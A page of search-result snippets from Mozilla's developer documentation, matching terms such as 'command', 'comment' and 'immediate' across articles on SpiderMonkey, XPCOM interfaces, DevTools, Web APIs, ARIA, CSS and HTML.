... getting the latest spidermonkey source code from git the following command line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey.
...And 3 more matches
Shell global objects
these are the global objects that are set up automatically by the spidermonkey js command-line interpreter when you start the program.
...if omitted, attach no source map url to the code (although the code may provide one itself, via a //#sourcemappingurl comment).
... createmappedarraybuffer(filename, [offset, [size]]) create an array buffer that mmaps the given file.
...And 3 more matches
Mork
MozillaTechMork
except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and comments (c++ or c style) can be ignored.
... in practice, only c++-style comments, and the standard whitespace characters ('\t', ' ', '\r', '\n') appear to be used.
... the grammar for mork is as follows: file = header ( dictionary | table | group | row )* header = '// <!-- <mdb:mork:z v="1.4"/> -->' dictionary = '<' ( metadictionary | alias )* '>' table = '{' '-'?
...And 3 more matches
Starting WebLock
common xpcom notifications category name value creates component xpcom-startup any contract id yes xpcom-shutdown any contract id no xpcom-autoregistration any contract id no app-startup any service, contract id * the table above summarizes the popular persistent notifications registered through the categ...
... creating the weblock programming interface design is one of the hardest parts of any programming problem.
... xpidl code generation the xpidl compiler also generates a stub implementation of the interface in a commented section of the generated header file, in which each method returns ns_error_not_implemented.
...And 3 more matches
XPCShell Reference
the command line the command-line syntax for xpcshell is: xpcshell [-s] [-w] [-w] [-v version] [-f scriptfile] [scriptfile] [scriptarg...] -c this option turns on the "compile-only" mode.
... for instance, assume that you have a file called test.js with the following contents: for (prop in arguments) { print(prop + "=" + arguments[prop]); } entering the following at the command line should produce the following output: $ xpcshell test.js this is a test 0=this 1=is 2=a 3=test xpcshell extensions once you execute xpcshell without a script you'll be at the js> command line.
... the following are some useful functions that can be invoked from the command line: clear(object) clear() removes all properties from an object.
...And 3 more matches
mozIStorageConnection
method overview void asyncclose([optional] in mozistoragecompletioncallback acallback); void begintransaction(); void begintransactionas(in print32 transactiontype); mozistoragestatement clone([optional] in boolean areadonly); void close(); void committransaction(); void createaggregatefunction(in autf8string afunctionname, in long anumarguments, in mozistorageaggregatefunction afunction); mozistorageasyncstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatem...
... transaction_immediate 1 a reserved lock is obtained on the database.
... void begintransactionas( in print32 transactiontype ); parameters transactiontype one of the transaction constants (mozistorageconnection.transaction_deferred, mozistorageconnection.transaction_immediate, mozistorageconnection.transaction_exclusive) clone() clones a database connection, optionally making the new connection read only.
...And 3 more matches
nsIAccessibleStates
accessible/public/nsiaccessiblestates.idlscriptable please add a summary to this article.
... state_invisible 0x00008000 the object is programmatically hidden.
... for example, menu items are programmatically hidden until a user activates the menu.
...And 3 more matches
nsIControllers
windows and text inputs have default controllers that allow commands such as cmd_copy to act on the focused element or window.
...nts.classes["@mozilla.org/xul/xul-controllers;1"] .createinstance(components.interfaces.nsicontrollers); method overview void appendcontroller(in nsicontroller controller); nsicontroller getcontrollerat(in unsigned long index); nsicontroller getcontrollerbyid(in unsigned long controllerid); unsigned long getcontrollercount(); nsicontroller getcontrollerforcommand(in string command); unsigned long getcontrollerid(in nsicontroller controller); void insertcontrollerat(in unsigned long index, in nsicontroller controller); void removecontroller(in nsicontroller controller); nsicontroller removecontrollerat(in unsigned long index); attributes attribute type description commanddispatcher nsidomxulcommanddispatcher obsolete since gecko 1.9 m...
...getcontrollerforcommand() searches for a controller that supports the given command.
...And 3 more matches
nsIProcess
kill() immediately terminates the process represented by the nsiprocess object.
... void run( in boolean blocking, [array, size_is(count)] in string args, in unsigned long count ); parameters blocking if true, this method will block until the process terminates; if false, the method returns immediately.
... args an array of count arguments, using the native character set, to be passed to the executable on its command line.
...And 3 more matches
nsIZipWriter
nsizipentry getentry(in autf8string azipentry); boolean hasentry(in autf8string azipentry); void open(in nsifile afile, in print32 aioflags); void processqueue(in nsirequestobserver aobserver, in nsisupports acontext); void removeentry(in autf8string azipentry, in boolean aqueue); attributes attribute type description comment acstring gets or sets the comment associated with the currently open zip file.
...if false, the operation is performed immediately.
...if false, the operation is performed immediately.
...And 3 more matches
XPCOM Interface Reference by grouping
security this section contains apis for secure channel communications system this section contains application level interfaces including calls to external support elements (such as device calls).
...mlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindowutils nsidynamiccontainer nsieditor event nsidomevent nsidomeventgroup nsidomeventlistener nsidomeventtarget nsidommousescrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleeditabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccess...
...adatavisitor nsicacheservice nsicachesession nsicachevisitor nsicachingchannel nsiselectionimageservice chrome nsisearchengine nsisearchsubmission nsiwebbrowserchrome nsiwindowcreator nsiwindowmediator nsiwindowwatcher clipboard nsiclipboard nsiclipboardcommands nsiclipboarddragdrophooklist nsiclipboarddragdrophooks nsiclipboardhelper nsiclipboardowner core action nsitransactionmanager process nsiprocess nsiprocess2 thread nsithread nsithreadeventf...
...And 3 more matches
Storage
warning: it may be tempting to give your database a name ending in '.sdb' for sqlite database, but this is not recommended.
...otherwise, it's strongly recommended that you use asynchronous execution, for performance reasons.
...the latter takes one of three constants to describe the type of transaction: mozistorageconnection.transaction_deferred mozistorageconnection.transaction_immediate mozistorageconnection.transaction_exclusive mozistorageconnection.begintransaction() is equivalent to calling mozistorageconnection.begintransactionas() and passing mozistorageconnection.transaction_deferred.
...And 3 more matches
LDAP Support
this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.commentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.commentformat", "[ou]"); the first preference tells us to use a comment column in the type down (the default value is 0 for no comment), and that the value for the comment is a custom string unique to each directory.
... the commentformat preference is set on each directory.
... it acts as a template, specifying the extra ldap attribute which should be used in the comment field along with how the attribute should be formatted.
...And 3 more matches
Mailnews and Mail code review requirements
mailnews and mail review rules patches affecting thunderbird user experience or interfaces note: it is recommended that when working on bugs that affect user experience or interfaces, that ui-review is obtained at an early stage in the patch development process.
...once unit tests are committed, the in-testsuite+ flag should be set on the bug.
... if an automated test framework is needed but is not yet available, the developer is encouraged to write appropriate test code and commit it.
...And 3 more matches
Network request list - Firefox Developer Tools
a reset columns command is available on the context menu to reset the columns to their initial configuration.
... the reset columns command on the context menu also resets the width of the columns to the default values.
... note: (starting in firefox 80) you can also block and unblock urls from the web console, using the :block and :unblock helper commands.
...And 3 more matches
Page inspector keyboard shortcuts - Firefox Developer Tools
command windows macos linux inspect element ctrl + shift + c cmd + shift + c ctrl + shift + c node picker these shortcuts work while the node picker is active.
... command windows macos linux select the element under the mouse and cancel picker mode click click click select the element under the mouse and stay in picker mode shift+click shift+click shift+click html pane these shortcuts work while you're in the inspector's html pane.
... command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to previous node up arrow up arrow up arrow move to first node in the tree.
...And 3 more matches
The JavaScript input interpreter - Firefox Developer Tools
for example, if you type: function foo() { and then enter, the console does not immediately execute the input, but behaves as if you had pressed shift+enter , so you can finish entering the function definition.
... new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { return "i'm frame1"; } </script> </head> <body> </body> </html> you can switch context to the iframe like this: cd("#frame1"); now you'll see that the global window's document is the iframe: and you can call the function defined in the iframe: helper commands the javascript command line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... $_ stores the result of the last expression executed in the console's command line.
...And 3 more matches
AudioTrack.enabled - Web APIs
example this example switches between the main and commentary audio tracks of a media element.
... function swapcommentarymain() { var videoelem = document.getelementbyid("main-video"); var audiotrackmain; var audiotrackcommentary; videoelem.audiotracks.foreach(track) { if (track.kind === "main") { audiotrackmain = track; } else if (track.kind === "commentary") { audiotrackcommentary = track; } } if (audiotrackmain && audiotrackcommentary) { var commentaryenabled = audiotrackcommentary.enabled; audiotrackcommentary.enabled = audiotrackmain.enabled; audiotrackmain.enabled = commentaryenabled; } } the swapcommentarymain() function above finds within the audio tracks of the <video> element "main-video" the audio tracks whose kind values are "main" and "commentary".
... these represent the primary audio track and the commentary track.
...And 3 more matches
CSSRule - Web APIs
WebAPICSSRule
the cssrule interface specifies the properties common to all rules, while properties unique to specific rule types are specified in the more specialized interfaces for those rules' respective types.
... properties common to all cssrule instances cssrule.csstext represents the textual representation of the rule, e.g.
...the relationships between these constants and the interfaces are: type value rule-specific interface comments and examples cssrule.style_rule 1 cssstylerule the most common kind of rule: selector { prop1: val1; prop2: val2; } cssrule.import_rule 3 cssimportrule an @import rule.
...And 3 more matches
Drawing shapes with canvas - Web APIs
unlike the path functions we'll see in the next section, all three rectangle functions draw immediately to the canvas.
... then you use drawing commands to draw into the path.
...once created, future drawing commands are directed into the path and used to build the path up.
...And 3 more matches
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
it's common to pass document as the context node.
...null is common for html documents or when no namespace prefixes are used.
...null is the most common and will create a new xpathresult example var headings = document.evaluate("/html/body//h2", document, null, xpathresult.any_type, null); /* search the document for all h2 elements.
...And 3 more matches
Element - Web APIs
WebAPIElement
it only has methods and properties common to all kinds of elements.
... nondocumenttypechildnode.nextelementsibling read only is an element, the element immediately following the given one in the tree, or null if there's no sibling node.
... nondocumenttypechildnode.previouselementsibling read only is a element, the element immediately preceding the given one in the tree, or null if there is no sibling element.
...And 3 more matches
HTMLButtonElement - Web APIs
htmlbuttonelement.formmethod is a domstring reflecting the http method that the browser uses to submit the form.
... specifications specification status comment html living standardthe definition of 'htmlbuttonelement' in that specification.
... recommendation the menu attribute and type="menu" value have been removed.
...And 3 more matches
Drag Operations - Web APIs
the most commonly used types are listed in the article recommended drag types.
...however, you will commonly wish to call the preventdefault() method only in certain situations (for example, only if a link is being dragged).
... it is most common to accept or reject a drop based on the type of drag data in the data transfer — for instance, allowing images, or links, or both.
...And 3 more matches
IDBDatabase - Web APIs
thus, you cannot execute commands, access data, or open anything outside of a transaction.
... methods inherits from: eventtarget idbdatabase.close() returns immediately and closes the connection to a database in a separate thread.
... idbdatabase.transaction() immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
...And 3 more matches
Using the Payment Request API - Web APIs
for this demo, simulate immediate success: paymentresponse.complete('success') .then(function() { // for demo purposes: intropanel.style.display = 'none'; successpanel.style.display = 'block'; }); }) this object provides the developer with access to details they can use to complete the logical steps required after the payment completes, such as an email address to contact the customer, a shipping address ...
...it returns a promise that fulfills with a boolean indicating whether it is or not, for example: // dummy payment request to check whether payment can be made new paymentrequest(buildsupportedpaymentmethoddata(), {total: {label: 'stub', amount: {currency: 'usd', value: '0.01'}}}) .canmakepayment() .then(function(result) { if(result) { // real payment request var request = new paymentrequest(buildsupportedpaymentmethoddata(), ...
... checking before all prices are known if the checkout flow needs to know whether paymentrequest.canmakepayment() will return true even before all line items and their prices are known, you can instantiate paymentrequest with dummy data and pre-query .canmakepayment().
...And 3 more matches
Performance API - Web APIs
specifications specification status comment high resolution time recommendation initial definition.
... high resolution time level 2 recommendation adds performance attribute on window and workerglobalscope.
... navigation timing recommendation adds the performancetiming and performancenavigation interfaces.
...And 3 more matches
RTCDtlsTransport - Web APIs
if the connection was created using max-compat mode, each transport is responsible for handling all of the communications for a given type of media (audio, video, or data channel).
... thus, a connection that has any number of audio and video channels will always have exactly one dtls transport for audio and one for video communications.
... data channels rtcdatachannels use sctp to communicate.
...And 3 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
the webglrenderingcontext method makexrcompatible() ensures that the rendering context described by the webglrenderingcontext is ready to render the scene for the immersive webxr device on which it will be displayed.
... this is useful if you have an application which can start out being presented on a standard 2d display but can then be transitioned to a 3d immersion system.
...the second button will be used to start the game in immersive-vr mode.
...And 3 more matches
Geometry and reference spaces in WebXR - Web APIs
reference spaces because of the variety of xr hardware available, coming in a wide variety of form factors from many developers, it's impractical and non-scalable to expect developers to have to directly communicate with the tracking technology being used.
...the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin may drift as needed to accommodate that need.
...this is used for environments in which the user can physically move around, and is supported by all instances of xrsession, both immersive and inline, though it's most useful for inline sessions.
...And 3 more matches
Inputs and input sources - Web APIs
voice commands using speech recognition.
... the third and final target ray mode is most commonly found on mobile devices like smartphones and tablets.
...this input may be a button, trigger, trackpad tap or click, a voice command, or special hand gesture, or possibly some other form of input.
...And 3 more matches
WebXR permissions and security - Web APIs
among other things, you need to confirm access to device features such as the microphone and/or camera, get permission to use immersive vr mode (if applicable), and so forth.
...these mostly revolve around the fully-immersive immersive-vr session mode, but there are things to be aware of when setting up an ar session, as well.
... immersive presentation of vr first, any requests to activate the immersive-vr mode are rejected if the domain issuing the request does not have permission to enable an immersive session.
...And 3 more matches
Web Speech API - Web APIs
the speechgrammar interface represents a container for a particular set of grammar that your app should recognise.
... grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text content (normally via the device's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutterance objects.
... speechgrammar the words or patterns of words that we want the recognition service to recognize.
...And 3 more matches
Privileged features - Web APIs
if minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable.
...mozilla 1.2+ and netscape 7.1 will render the other menu system commands (in ff 1.0 and in ns 7.0x, the command system menu is not identified with the firefox/ns 7.0x icon on the left end of the titlebar: that's probably a bug.
... you can access the command system menu with a right-click on the titlebar).
...And 3 more matches
window.postMessage() - Web APIs
the window.postmessage() method safely enables cross-origin communication between window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
... source a reference to the window object that sent the message; you can use this to establish two-way communication between two windows with different origins.
...(the other properties have their expected values.) it is not possible for content or web context scripts to specify a targetorigin to communicate directly with an extension (either the background script or a content script).
...And 3 more matches
XRPermissionDescriptor.mode - Web APIs
the mode property of the xrpermissiondescriptor dictionary is a string taken from the xrsessionmode enumerated type, specifying which web xr session mode (inline, immersive-vr, or immersive-ar) the described permissions will be used for.
... syntax xrpermissiondescriptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescriptor.mode = xrsessionmode; xrmode = xrpermissiondescriptor.mode; value a domstring whose value is one of the strings found in the xrsessionmode enumerated type: immersive-ar the session's output will be given exclusive access to the immersive device, but the rendered content will be blended with the real-world environment.
... important: the immersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
...And 3 more matches
XRSession.requestAnimationFrame() - Web APIs
there is no guarantee that the latter will work at all while an immersive xr session is underway.
...this example demonstrates a design pattern that ensures seamless transition between non-immersive animations created via window.requestanimationframe and immersive xr animations.
... let xrsession = null function onwindowanimationframe(time) { window.requestanimationframe(onwindowanimationframe) // this may be called while an immersive session is running on some devices, // such as a desktop with a tethered headset.
...And 3 more matches
XRSession - Web APIs
WebAPIXRSession
xrsession supports both inline and immersive virtual and augmented reality modes.
...this generally corresponds to the user pressing a trigger, touchpad, or button, speaks a command, or performs a recognizable gesture.
... the select event is sent after the selectstart event is sent and immediately before the selectend event is sent.
...And 3 more matches
XRSystem - Web APIs
WebAPIXRSystem
if (navigator.xr) { immersivebutton.addeventlistener("click", onbuttonclicked); navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { immersivebutton.disabled = false; } else { immersivebutton.disabled = true; }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then(() => { // onsessionstarted()...
...if it's found, we know webxr is present, so we proceed by establishing a handler for the button which the user can click to toggle immersive vr mode on and off.
... however, we don't yet know if the desired immersive mode is available.
...And 3 more matches
Using the alert role - Accessibility
the alert role is used to communicate an important and usually time-sensitive message to the user.
...the alert role is most useful for information that requires the user's immediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's immediate attention is required.
... assistive technology products should listen for such an event and notify the user accordingly: screen readers may interrupt current output (whether it's speech or braille) and immediately announce or display the alert message.
...And 3 more matches
ARIA: contentinfo role - Accessibility
this section is commonly called a footer.
...using the <footer> element instead is recommended: <footer> <h2>footer</h2> <!-- footer content --> </footer> description the contentinfo role is a landmark used to identify a page footer.
... using the <footer> element will automatically communicate a section has a role of contentinfo.
...And 3 more matches
ARIA: form role - Accessibility
using the <form> element will automatically communicate a section of content as a form landmark, if it is provided an accessible name.
... examples <div role="form" id="send-comment" aria-label="add a comment"> <label for="username">username</label> <input id="username" name="username" autocomplete="nickname" autocorrect="off" type="text"> <label for="email">email</label> <input id="email" name="email" autocomplete="email" autocapitalize="off" autocorrect="off" spellcheck="false" type="text"> <label for="comment">comment</label> <textarea id="comment" name="...
...comment"></textarea> <input value="comment" type="submit"> </div> it is recommended to use <form> instead.
...And 3 more matches
ARIA: button role - Accessibility
a button is a widget used to perform actions such as submitting a form, opening a dialog, cancelling an action, or performing a command such as inserting a new record or displaying information.
... a common convention to inform users a button will launch a dialog is to append "…" (ellipsis) to the button's label, e.g., "save as…".
... if the button has aria-expanded="false" set, the grouping is not currently expanded; if the button has aria-expanded="true" set, it is currently expanded; if the button has aria-expanded="undefined" set or the attribute is ommitted, it is not expandable.
...And 3 more matches
Web accessibility for seizures and physical reactions - Accessibility
the fact that static images may cause seizures and other disorders is documented in such articles as “gamma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns.
...in its article, "a revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most common disease-related cause of death in with epilepsy.
... natural light, such as sunlight, especially when shimmering off water, flickering through trees or through the slats of venetian blinds.
...And 3 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
the "l" in the hsl color space is sometimes referred to as "luminosity," other times as "lightness." even something seemingly simple like naming common colors can be open to debate.
... newer technologies, such as opengl and direct3d incorporate support for the srgb gamma curve, although some articles for opengl reference use of rgba rather than srgb.
... to summarize, color is as much about human physiology and perception in the brain as it is the measurement of light coming from a computer screen.
...And 3 more matches
::first-letter (:first-letter) - CSS: Cascading Style Sheets
/* selects the first letter of a <p> */ p::first-letter { font-size: 130%; } the first letter of an element is not always trivial to identify: punctuation that precedes or immediately follows the first letter is included in the match.
...pecial punctuation mark.</p> <p>*the beginning of a special punctuation mark.</p> <p>#the beginning of a special punctuation mark.</p> <p>「特殊的汉字标点符号开头。</p> <p>《特殊的汉字标点符号开头。</p> <p>“特殊的汉字标点符号开头。</p> css p::first-letter { color: red; font-size: 150%; } result specifications specification status comment css pseudo-elements level 4the definition of '::first-letter' in that specification.
... candidate recommendation allows the use of text-shadow with ::first-letter.
...And 3 more matches
:active - CSS: Cascading Style Sheets
WebCSS:active
/* selects any <a> that is being activated */ a:active { color: red; } the :active pseudo-class is commonly used on <a> and <button> elements.
... other common targets of this pseudo-class include elements that contain an activated element, and form elements that are being activated through their associated <label>.
... /* active links */ p:active { background: #eee; } /* active paragraphs */ result active form elements html <form> <label for="my-button">my button: </label> <button id="my-button" type="button">try clicking me or my label!</button> </form> css form :active { color: red; } form button { background: white; } result specifications specification status comment html living standardthe definition of ':active' in that specification.
...And 3 more matches
@font-face - CSS: Cascading Style Sheets
by allowing authors to provide their own fonts, @font-face makes it possible to design content without being limited to the so-called "web-safe" fonts (that is, the fonts which are so common that they're considered to be universally available).
... it's common to use both url() and local() together, so that the user's installed copy of the font is used if available, falling back to downloading a copy of the font if it's not found on the user's device.
...ue bold" is used; if the user does not have that font installed (two different names are tried), then the downloadable font named "mgopenmodernabold.ttf" is used instead: @font-face { font-family: myhelvetica; src: local("helvetica neue bold"), local("helveticaneue-bold"), url(mgopenmodernabold.ttf); font-weight: bold; } specifications specification status comment woff file format 2.0the definition of 'woff2 font format' in that specification.
...And 3 more matches
At-rules - CSS: Cascading Style Sheets
WebCSSAt-rule
they begin with an at sign, '@' (u+0040 commercial at), followed by an identifier and includes everything up to the next semicolon, ';' (u+003b semicolon), or the next css block, whichever comes first.
...(at the candidate recommendation stage, but only implemented in gecko as of writing) @font-feature-values (plus @swash, @ornaments, @annotation, @stylistic, @styleset and @character-variant) — define common names in font-variant-alternates for feature activated differently in opentype.
... (at the candidate recommendation stage, but only implemented in gecko as of writing) conditional group rules much like the values of properties, each at-rule has a different syntax.
...And 3 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in this guide we will take a look at some of the common use cases for flexbox — those places where it makes more sense than another layout method.
... navigation a common pattern for navigation is to have a list of items displayed as a horizontal bar.
... media objects the media object is a common pattern in web design — this pattern has an image or other element to one side and text to the right.
...And 3 more matches
CSS selectors - CSS: Cascading Style Sheets
this means that the second element follows the first (though not necessarily immediately), and both share the same parent.
... syntax: a ~ b example: p ~ span will match all <span> elements that follow a <p>, immediately or not.
... specifications specification status comment selectors level 4 working draft added the || column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and ui pseudo-classes, modifier for ascii case-sensitive and case-insensitive attribute value selection.
...And 3 more matches
Pseudo-classes - CSS: Cascading Style Sheets
:not() :nth-child() :nth-col() :nth-last-child() :nth-last-col() :nth-last-of-type() :nth-of-type() :only-child :only-of-type :optional :out-of-range :past :placeholder-shown :read-only :read-write :required :right :root :scope :state() :target :target-within :user-invalid :valid :visited :where() specifications specification status comment fullscreen api living standard defined :fullscreen.
... html5 recommendation copies the relevant section from the canonical (whatwg) html spec.
... css basic user interface module level 3 recommendation defined :default, :valid, :invalid, :in-range, :out-of-range, :required, :optional, :read-only and :read-write, but without the associated semantic meaning.
...And 3 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
a common best practice is to define custom properties on the :root pseudo-class, so that it can be applied globally across your html document: :root { --main-bg-color: brown; } however, this doesn't always have to be the case: you maybe have a good reason for limiting the scope of your custom properties.
...--test: 2em; } in this case, the results of var(--test) are: for the class="two" element: 10px for the class="three" element: 2em for the class="four" element: 10px (inherited from its parent) for the class="one" element: invalid value, which is the default value of any custom property keep in mind that these are custom properties, not actual variables like you might find in other programming languages.
...the function only accepts two parameters, assigning everything following the first comma as the second parameter.
...And 3 more matches
attr() - CSS: Cascading Style Sheets
WebCSSattr
the list of valid values are: keyword associated type comment default value string <string> the attribute value is treated as a css <string>.
... em, ex, px, rem, vw, vh, vmin, vmax, mm, cm, in, pt, or pc <length> the attribute value is parsed as a css <number>, that is without the unit (e.g.
...)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb | vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of attr()</div> css .background...
...And 3 more matches
background-image - CSS: Cascading Style Sheets
to specify multiple background images, supply multiple values, separated by a comma: background-image: linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)), url('https://mdn.mozillademos.org/files/7693/catfront.png'); values none is a keyword denoting the absence of images.
...there can be several of them, separated by commas, as multiple backgrounds are supported.
...ansparent; } div { background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png"); } .catsandstars { background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"), url("https://mdn.mozillademos.org/files/7693/catfront.png"); background-color: transparent; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background-image' in that specification.
...And 3 more matches
background - CSS: Cascading Style Sheets
ax /* using a <background-color> */ background: green; /* using a <bg-image> and <repeat-style> */ background: url("test.jpg") repeat-y; /* using a <box> and <background-color> */ background: border-box red; /* a single image, centered and scaled */ background: no-repeat center/80% url("../img/image.png"); the background property is specified as one or more background layers, separated by commas.
... the syntax of each layer is as follows: each layer may include zero or one occurrences of any of the following values: <attachment> <bg-image> <position> <bg-size> <repeat-style> the <bg-size> value may only be included immediately after <position>, separated with the '/' character, like this: "center/80%".
... setting backgrounds with color keywords and images html <p class="topbanner"> starry sky<br/> twinkle twinkle<br/> starry sky </p> <p class="warning">here is a paragraph<p> css .warning { background: pink; } .topbanner { background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'background' in that specification.
...And 3 more matches
<color> - CSS: Cascading Style Sheets
-moz-win-communicationstext should be used for text in objects with -moz-appearance: -moz-win-communications-toolbox;.
...the wcag 2.0 recommendation strongly advises against using color as the only means of conveying a specific message, action, or result.
...opaque blue */ hsla(240, 100%, 50%, .4) /* 40% opaque blue */ hsla(240, 100%, 50%, .7) /* 70% opaque blue */ hsla(240, 100%, 50%, 1) /* full opaque blue */ /* whitespace syntax */ hsla(240 100% 50% / .05) /* 5% opaque blue */ /* percentage value for alpha */ hsla(240 100% 50% / 5%) /* 5% opaque blue */ specifications specification status comment css color module level 4 working draft adds rebeccapurple, four- (#rgba) and eight-digit (#rrggbbaa) hexadecimal notations, rgba() and hsla() as aliases of rgb() and hsl() (both with identical parameter syntax), space-separated function parameters as an alternative to commas, percentages for alpha values, and angles for the hue component in hsl() colors.
...And 3 more matches
<dimension> - CSS: Cascading Style Sheets
WebCSSdimension
syntax the syntax of <dimension> is a <number> immediately followed by a unit which is an identifier.
... examples valid dimensions 12px 12 pixels 1rem 1 rem 1.2pt 1.2 points 2200ms 2200 milliseconds 5s 5 seconds 200hz 200 hertz 200hz 200 hertz (values are case insensitive) invalid dimensions 12 px the unit must come immediately after the number.
... specifications specification status comment css values and units module level 4the definition of '<dimension>' in that specification.
...And 3 more matches
list-style-type - CSS: Cascading Style Sheets
only a few elements (<li> and <summary>) have a default value of display: list-item.
...moreover, because this property is inherited, it can be set on a parent element (commonly <ol> or <ul>) to make it apply to all list items.
...i, ii, iii, iv, v… lower-greek lowercase classical greek alpha, beta, gamma… e.g.
...And 3 more matches
overflow-y - CSS: Cascading Style Sheets
the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...And 3 more matches
CSS: Cascading Style Sheets
WebCSS
previously development of various parts of css specification was done synchronously, which allowed versioning of the latest recommendation.
... from css3, the scope of the specification increased significantly and the progress on different css modules started to differ so much, that it became more effective to develop and release recommendations separately per module.
... styling text with the basics of the css language covered, the next css topic for you to concentrate on is styling text — one of the most common things you'll do with css.
...And 3 more matches
Audio and Video Delivery - Developer guides
it's strongly recommended that you read the autoplay guide for media and web audio apis to learn how to use autoplay wisely..
...this makes up part of a wider technology known as webrtc (web real-time communications) and is compatible with the latest versions of chrome, firefox and opera.
...your files have been encoded incorrectly your files may have been encoded incorrectly — try encoding using one of the following tools, which are proven to be pretty reliable: audacity — free audio editor and recorder miro — free, open-source music and video player handbrake — open source video transcoder firefogg — video and audio encoding for firefox ffmpeg2 — comprehensive command line encoder libav — comprehensive command line encoder vid.ly — video player,transcoding and delivery internet archive — free transcoding and storage detecting when no sources have loaded to detect that all child <source> elements have failed to load, check the value of the media element's networkstate attribute.
...And 3 more matches
Content categories - Developer guides
every html element is a member of one or more content categories — these categories group elements that share common characteristics.
... there are three types of content categories: main content categories, which describe common rules shared by many elements.
... form-related content categories, which describe rules common to form-related elements.
...And 3 more matches
Localizations and character encodings - Developer guides
the html specification recommends the use of the utf-8 encoding (which can represent all of unicode) and regardless of the encoding used requires web content to declare what encoding was used.
... to specify that a page is using, for example, the utf-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> details and browser internals when the encoding is declared by web content like the html specification requires, firefox will use that encoding for turning the bytes into the internal representation.
...in the 1990s, it was common to leave the encoding undeclared and to use a region-specific encoding that wasn't able to represent all of unicode.
...And 3 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
svg (scalable vector graphics) lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image.
... svg commands are formatted as xml, and can be embedded directly into a web page or can be placed in he page using the <img> element, just like any other type of image.
... our two colored boxes share a number of properties in common, so next we establish a class, .box, that defines those shared properties: .box { width: 290px; height: 100px; margin: 0; padding: 4px 6px; font: 28px "marker felt", "zapfino", cursive; display: flex; justify-content: center; align-items: center; } in brief, .box establishes the size of each box, as well as the configuration of the font used within.
...And 3 more matches
disabled - HTML: Hypertext Markup Language
the disabled attribute is supported by <button>, <command>, <fieldset>, <keygen>, <optgroup>, <option>, <select>, <textarea> and <input>.
...additionally, since the elements become immutable, most other attributes, such as pattern, have no effect, until the control is enabled.
... usability browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form.
...And 3 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
WebHTMLElementdl
common uses for this element are to implement a glossary or to display metadata (a list of key-value pairs).
